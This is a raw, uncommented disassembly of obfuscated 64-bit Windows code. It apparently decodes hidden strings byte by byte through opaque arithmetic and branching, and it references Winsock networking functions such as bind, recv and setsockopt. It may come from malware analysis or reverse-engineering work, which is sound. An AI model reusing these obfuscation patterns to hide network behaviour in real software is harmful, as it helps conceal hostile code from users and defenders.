jmp 0x140080b50
je 0x14008144e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400813c3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008136b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008134a
nop dword [rax]
cmp r8, r10
ja 0x1400814b2
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x140080b7a
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x140080bc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140081303
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400812e2
cmp rbx, rcx
je 0x1400812c7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400812ac
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140081291
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008101c
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140080ffd
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140080fd5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140080fb4
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140080f99
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140080f7a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080f4d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080bd0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140081496
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140081479
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140080d2e
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140080f04
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140080ebc
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140080e7c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140080e56
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140080bd0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140080e25
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140080e0a
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140080def
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140080dd4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140080db5
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140080d90
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140080d6c
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140080d49
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140080bd0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x40]
jmp 0x140080bd0
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x140080ae6
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008131d
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
inc r8
dec r10
inc r10
jmp 0x140080ad3
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140080ad3
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
movzx r11d, r10b
jmp 0x140081385
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400813a7
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x1400813dc
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x140081407
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
mov byte [rbp + r10 + 0x300], dil
inc r10
jmp 0x140080ad3
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
cmp r8, 8
jb 0x140080e6c
movzx r11d, r10b
lea ecx, [r11 + 0x22]
movzx eax, cl
and al, r9b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008131d
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
cmp rbx, 0x200
jae 0x14008124a
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14008116e
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x140080e92
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
lea rax, [r8 + rbx]
cmp rax, 2
je 0x140081275
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400810f4
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x140080ed2
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081407
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x1400813dc
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
dec r10
inc r10
jmp 0x140080ad3
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140080ad3
movzx r11d, r10b
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x14008131d
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140081040
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x140080f1a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081076
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008109e
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400813a7
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400810c6
movzx r11d, r10b
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140081385
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080f1a
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
dec r10
inc r10
jmp 0x140080ad3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008111c
movzx r11d, r10b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x14008131d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081146
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
dec r10
inc r10
jmp 0x140080ad3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080ed2
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x1400813aa
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400811a8
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400811cc
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x1400813dc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400811f0
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x1400813a7
cmp rbx, rcx
jne 0x14008121a
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140080ad3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140080e92
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008131d
movzx r11d, r10b
lea edx, [r11 + 0x78]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x300]
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r9b
jmp 0x140081385
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400813dc
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
jmp 0x140081407
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
jmp 0x1400813dc
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
jmp 0x1400813aa
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
dec r10
inc r10
jmp 0x140080ad3
movzx r11d, r10b
lea ecx, [r11 - 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
add r11b, 0x4d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1b
add r11b, r9b
mov byte [rbp + r10 + 0x300], r11b
inc r8
dec r10
inc r10
jmp 0x140080ad3
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
dec r10
inc r10
jmp 0x140080ad3
movzx r11d, r10b
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
sub r11b, 0x5d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x75
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x300], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140080ad3
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
lea edx, [r10 - 7]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x31
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x300], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x300], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x79
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x140080ad3
add r10b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x61
jmp 0x140080ad0
inc r10b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
jmp 0x140080ab6
lea rcx, [rbp + 0x179afe4]
jmp 0x1400814cb
lea rcx, [rbp + 0xcedc0f]
jmp 0x1400814cb
lea rcx, [rbp + 0x300]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm11
movaps xmm2, xmm12
lea rdx, [0x1401dc6bc]
call fcn.14003eeb0
mov esi, dword [0x1401de710]
mov r14d, dword [reloc.WS2_32.dll_bind]
mov byte [rbp + 0x320], 0x61
mov byte [rbp + 0x321], 0x8a
mov byte [rbp + 0x322], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x323], 0x4b
mov byte [rbp + 0x324], 0x67
mov byte [rbp + 0x325], 0x82
mov byte [rbp + 0x326], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x327], 0x2f
xor eax, eax
mov qword [rbp + 0x328], rax
mov word [rbp + 0x330], ax
mov byte [rbp + 0x332], al
movabs r15, 0x8aea46c5d84e3785
movabs r12, 0xa0bed45188eaa68f
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x13
jae 0x140081fec
movzx r9d, byte [rbp + r10 + 0x320]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140081fe0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400815bc
lea rcx, [r10 + r15]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x5d
jmp 0x1400815e0
je 0x140081f72
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081f41
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081f03
nop dword [rax]
cmp r8, r10
ja 0x140081fd7
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14008160a
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
jmp 0x140081631
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140081ebc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081ea1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081e86
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140081ba5
nop
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140081b86
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140081b62
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081b3d
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140081b1a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140081aff
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140081ae4
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140081ac1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140081aa2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081a75
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140081640
lea rbx, [r8 + 0x64]
lea r8, [rbx + 5]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140081fba
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140081f9d
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008182a
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008180f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400817f4
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140081a2a
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400819e2
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008199f
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140081979
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140081640
lea rbx, [r8 + 0x64]
lea r8, [rbx + 5]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140081948
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008192d
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008190e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400818ef
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400818d0
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400818b1
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140081890
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140081868
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140081845
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140081640
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 5]
jmp 0x140081640
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
jmp 0x140081631
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
jmp 0x1400815e0
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x140081586
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140081ed6
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
movzx r11d, r10b
jmp 0x140081f1d
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081f56
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081f59
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
movzx r11d, r10b
jmp 0x140081e13
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x140081e3f
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x67
mov byte [rbp + r10 + 0x320], dil
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
cmp r8, 0x3e8
jb 0x14008198f
movzx r11d, r10b
lea ecx, [r11 - 2]
movzx eax, cl
and al, r9b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140081ed6
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
cmp rbx, 0x3e8
jae 0x140081dd3
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140081d1f
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x1400819b5
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140081dfe
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140081c7d
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
jmp 0x1400819f8
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081e3f
movzx r11d, r10b
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081e13
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140081f59
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x140081f56
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081f1d
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140081573
movzx r11d, r10b
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x140081ed6
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x140081bc9
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
jmp 0x140081a40
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081c03
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081c2b
movzx r11d, r10b
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x140081e13
cmp rbx, rcx
jne 0x140081c4f
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081f56
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140081a40
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
dec r10
inc r10
jmp 0x140081573
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081ca5
movzx r11d, r10b
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x140081ed6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081ccf
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
dec r10
inc r10
jmp 0x140081573
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081cf3
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
jmp 0x140081f56
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400819f8
movzx r11d, r10b
lea ecx, [r11 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x140081e13
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081d55
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081d7d
movzx r11d, r10b
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140081e13
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081da5
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081f56
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400819b5
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x140081573
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x320]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x140081f1d
movzx r11d, r10b
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x7e]
sub r11b, 0x69
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x21
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x320], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x320], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x140081573
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
jmp 0x140081f59
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x140081f56
movzx r11d, r10b
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5b
sub r11b, 0x7d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x6b
add r11b, r9b
mov byte [rbp + r10 + 0x320], r11b
inc r8
dec r10
inc r10
jmp 0x140081573
movzx r11d, r10b
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
sub r11b, 0x73
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x25
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x320], r11b
jmp 0x140081f56
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140081573
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
